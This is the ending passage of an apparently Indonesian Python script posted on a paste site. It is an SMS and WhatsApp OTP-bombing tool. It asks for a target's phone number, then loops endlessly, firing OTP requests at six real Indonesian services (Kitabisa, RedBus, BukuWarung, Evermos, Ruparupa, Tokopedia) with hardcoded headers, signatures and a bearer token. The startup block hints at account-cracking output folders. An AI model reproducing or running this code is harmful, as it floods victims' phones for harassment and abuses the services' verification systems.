  2708.         self.sms_otp_12(nomor)
  2709.         self.sms_otp_13(nomor)
  2710.         self.sms_otp_14(nomor)
  2711.         cetak(panel(f"Sukses Spam SMS Ke No : +62{nomor}",width=90,padding=(0,2),style=f"{color_panel}"))
  2712.  
  2713. #------------------[ DEFF SPAM WA ]-------------------#
  2714. def spam_wa():
  2715.     global nomor
  2716.     cetak(panel(f'''   [bold white]Masukan Nomor Target Yang Ingin Di Spam Contoh : +6281234567xxx''',width=87,padding=(0,8),title=f"[bold red]★[bold yellow]★[bold green]★[bold red] SPAM WA [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  2717.     nomor = input(f"└── [+] Input No Hp : +62").replace("+62","")
  2718.     if nomor == "":
  2719.         pass
  2720.     else:
  2721.         while True:
  2722.             for _ in track(range(100), description=f'└── [+] Sedang Spam...'):process_data1()
  2723.             sxp_wa()
  2724.            
  2725. class sxp_wa:
  2726.  
  2727.     def __init__(self):
  2728.         self.req = requests.Session()
  2729.         self.main()
  2730.  
  2731.     def wa_otp_1(self, no):
  2732.         nickname = random.choice(
  2733.                       [
  2734.                         "fahmi",
  2735.                         "xzc0der",
  2736.                         "bed3bah",
  2737.                         "xmanz"
  2738.                       ]
  2739.                      )
  2740.         angka = random.randint(
  2741.                     111,
  2742.                     999
  2743.                        )
  2744.         __req__ = self.req.post("https://wong.kitabisa.com/register/draft",
  2745.             headers = {
  2746.                     "Host": "wong.kitabisa.com",
  2747.                     "x-ktbs-platform-name": "pwa",
  2748.                     "origin": "https://account.kitabisa.com",
  2749.                     "x-ktbs-time": "1611020248",
  2750.                     "user-agent": agent,
  2751.                     "x-ktbs-api-version": "1.0.0",
  2752.                     "accept": "application/json",
  2753.                     "x-ktbs-client-name": "kanvas",
  2754.                     "x-ktbs-request-id": "107790c3-86e0-4872-9dfb-b9c5da9bfa13",
  2755.                     "x-ktbs-client-version": "1.0.0",
  2756.                     "x-ktbs-signature": "e6b4dd627125b3ccd53de193d165c481cc7fdfef0b1dcd7a587636a008fdc89e",
  2757.                     "version": "3.4.0",
  2758.                     "referer": "https://account.kitabisa.com/register/otp?type=sms",
  2759.                     "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
  2760.                    },
  2761.             json = {
  2762.                  "full_name": nickname+str(angka),
  2763.                  "username": f"0{no}",
  2764.                  "otp_type": "whatsapp"
  2765.                 }
  2766.         ).text
  2767.  
  2768.     def wa_otp_2(self, no):
  2769.         __req__ = self.req.get(
  2770.             f"https://m.redbus.id/api/getOtp?number={no}&cc=62&whatsAppOpted=true"
  2771.         ).text
  2772.  
  2773.     def wa_otp_3(self, no):
  2774.         __req__ = self.req.post("https://api.bukuwarung.com/api/v1/auth/otp/send",
  2775.             headers = {
  2776.                     "Accept": "application/json",
  2777.                     "X-APP-VERSION-NAME": "3.4.0",
  2778.                     "X-APP-VERSION-CODE": "3399",
  2779.                     "Content-Type": "application/json; charset=UTF-8",
  2780.                     "Host": "api.bukuwarung.com",
  2781.                     "Connection": "Keep-Alive",
  2782.                     "Accept-Encoding": "gzip",
  2783.                     "User-Agent": agent
  2784.                    },
  2785.             json = {
  2786.                  "action": "LOGIN_OTP",
  2787.                  "countryCode": "62",
  2788.                  "deviceId": "00000177-142d-f1a2-bac4-57a9039fdc4d",
  2789.                  "method": "WA",
  2790.                  "phone": no
  2791.                 }
  2792.         ).text
  2793.  
  2794.     def wa_otp_4(self, no):
  2795.         __req__ = self.req.post("https://evermos.com/api/client/request-code",
  2796.             headers = {
  2797.                     "user-agent": agent
  2798.                   },
  2799.             data = {
  2800.                  "telephone": f"62{no}",
  2801.                  "type": 0
  2802.                 }
  2803.         ).text
  2804.  
  2805.     def wa_otp_5(self, no):
  2806.         __req__ = self.req.post("https://wapi.ruparupa.com/auth/generate-otp",
  2807.             headers = {
  2808.                     "Host": "wapi.ruparupa.com",
  2809.                     "Connection": "keep-alive",
  2810.                     "Authorization": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1dWlkIjoiOGZlY2VjZmYtZTQ1Zi00MTVmLWI2M2UtMmJiMzUyZmQ2NzhkIiwiaWF0IjoxNTkzMDIyNDkyLCJpc3MiOiJ3YXBpLnJ1cGFydXBhIn0.fETKXQ0KyZdksWWsjkRpjiKLrJtZWmtogKyePycoF0E",
  2811.                     "Accept": "application/json",
  2812.                     "Content-Type": "application/json",
  2813.                     "X-Company-Name": "odi",
  2814.                     "user-agent": agent,
  2815.                     "user-platform": "mobile",
  2816.                     "X-Frontend-Type": "mobile",
  2817.                     "Origin": "https://m.ruparupa.com",
  2818.                     "Referer": "https://m.ruparupa.com/verification?page=otp-choices",
  2819.                     "Accept-Encoding": "gzip, deflate, br",
  2820.                     "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
  2821.                    },
  2822.             json = {
  2823.                  "phone": f"0{no}",
  2824.                  "action": "register",
  2825.                  "channel": "chat",
  2826.                  "email": "",
  2827.                  "customer_id": "0",
  2828.                  "is_resend": 0
  2829.                 }
  2830.         ).text
  2831.  
  2832.     def wa_otp_6(self, no):
  2833.         headers = {
  2834.                 "Connection": "keep-alive",
  2835.                 "Accept": "application/json, text/javascript, */*; q=0.01",
  2836.                 "Origin": "https://accounts.tokopedia.com",
  2837.                 "X-Requested-With": "XMLHttpRequest",
  2838.                 "user-agent": agent,
  2839.                 "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
  2840.                 "Accept-Encoding": "gzip, deflate",
  2841.                }
  2842.         site = self.req.get("https://accounts.tokopedia.com/otp/c/page?otp_type=116&msisdn="+ no +"&ld=https%3A%2F%2Faccounts.tokopedia.com%2Fregister%3Ftype%3Dphone%26phone%3D{}%26status%3DeyJrIjp0cnVlLCJtIjp0cnVlLCJzIjpmYWxzZSwiYm90IjpmYWxzZSwiZ2MiOmZhbHNlfQ%253D%253D", headers = headers).text
  2843.         search = re.search(r'\<input\ id\=\"Token\"\ value\=\"(.*?)\"\ type\=\"hidden\"\>', site).group(1)
  2844.         data = {
  2845.              "otp_type": "116",
  2846.              "msisdn": no,
  2847.              "tk": search,
  2848.              "email": "",
  2849.              "original_param": "",
  2850.              "user_id": "",
  2851.              "signature": "",
  2852.              "number_otp_digit": "6",
  2853.             }
  2854.         __req__ = self.req.post(
  2855.                 "https://accounts.tokopedia.com/otp/c/ajax/request-wa", headers = headers, data = data
  2856.        ).text
  2857.  
  2858.     def main(self):
  2859.         self.wa_otp_1(nomor)
  2860.         self.wa_otp_2(nomor)
  2861.         self.wa_otp_3(nomor)
  2862.         self.wa_otp_4(nomor)
  2863.         self.wa_otp_5(nomor)
  2864.         self.wa_otp_6(nomor)
  2865.         cetak(panel(f"[bold white]Sukses Spam WA Ke No : +62{nomor}",width=90,padding=(0,2),style=f"{color_panel}"))
  2866.                        
  2867. #-----------------------[ SYSTEM-CONTROL ]--------------------#
  2868. if __name__=='__main__':
  2869.     try:os.system('git pull')
  2870.     except:pass
  2871.     try:os.mkdir('OK')
  2872.     except:pass
  2873.     try:os.mkdir('CP')
  2874.     except:pass
  2875.     try:os.mkdir('DUMP-FILE')
  2876.     except:pass
  2877.     try:os.system('touch .prox.txt')
  2878.     except:pass
  2879.     try:os.system('clear')
  2880.     except:pass
  2881.     mama(f'\n\t{x}>>>>> {h}Gunakan Script Ini Sewajarnya\n\t{x}>>>>> {h}Jika Ada Bug/Error Bilang Yahh\n\t{x}>>>>> {h}Alhamdulillah {m}Spoky {h}Sehat Selalu Yah\n\t{x}>>>>> {h}Semoga Di Mudahkan Rezekinya Amin\n\t{x}>>>>> {h}Semoga Harimu Menyenangkan 🙂 {x}')
  2882.     time.sleep(5)
  2883.     login()
Add Comment
Please, Sign In to add comment